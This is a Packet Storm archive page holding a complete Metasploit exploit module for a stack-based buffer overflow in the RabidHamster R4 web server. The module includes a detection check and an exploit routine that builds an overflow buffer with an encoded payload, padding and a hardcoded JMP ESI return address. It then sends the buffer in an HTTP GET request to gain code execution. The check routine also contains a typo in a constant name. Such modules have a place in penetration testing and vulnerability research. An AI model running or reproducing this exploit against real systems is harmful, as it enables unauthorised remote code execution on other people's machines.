what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

RabidHamster R4 Log Entry sprintf() Buffer Overflow

RabidHamster R4 Log Entry sprintf() Buffer Overflow
Posted May 25, 2012
Authored by Luigi Auriemma, sinn3r | Site metasploit.com

This Metasploit module exploits a vulnerability found in RabidHamster R4's web server. By supplying a malformed HTTP request, it is possible to trigger a stack-based buffer overflow when generating a log, which may result in arbitrary code execution under the context of the user.

tags | exploit, web, overflow, arbitrary, code execution
advisories | OSVDB-79007
SHA-256 | 9bd2fe133907afe8dae3b0872be07135e15c6152fbb081eaf7b8fefe328ad0a3

RabidHamster R4 Log Entry sprintf() Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "RabidHamster R4 Log Entry sprintf() Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in RabidHamster R4's web server.
By supplying a malformed HTTP request, it is possible to trigger a stack-based
buffer overflow when generating a log, which may result in arbitrary code
execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '79007'],
['URL', 'http://aluigi.altervista.org/adv/r4_1-adv.txt'],
['URL', 'http://secunia.com/advisories/47901/']
],
'Payload' =>
{
'StackAdjustment' => -3500,
'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x20"
},
'DefaultOptions' =>
{
'ExitFunction' => "process"
},
'Platform' => 'win',
'Targets' =>
[
['R4 v1.25', {'Ret'=>0x73790533}] #JMP ESI (ddraw.dll)
],
'Privileged' => false,
'DisclosureDate' => "Feb 09 2012",
'DefaultTarget' => 0))

register_options(
[
OptPort.new('RPORT', [true, 'The remote port', 8888])
], self.class)
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => '/'
})

if res and res.headers['Server'] == 'R4 Embedded Server'
return Exploit::CheckCode::Detected
else
return Exploit::CheckCoded::Safe
end
end

def exploit
buf = ''
buf << payload.encoded
buf << rand_text_alpha(2022-buf.length, payload_badchars)
buf << [target.ret].pack("V*")
buf << pattern_create(200)
buf << rand_text_alpha(3000-buf.length, payload_badchars)

send_request_cgi({
'method' => 'GET',
'uri' => "/?#{buf}"
})
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close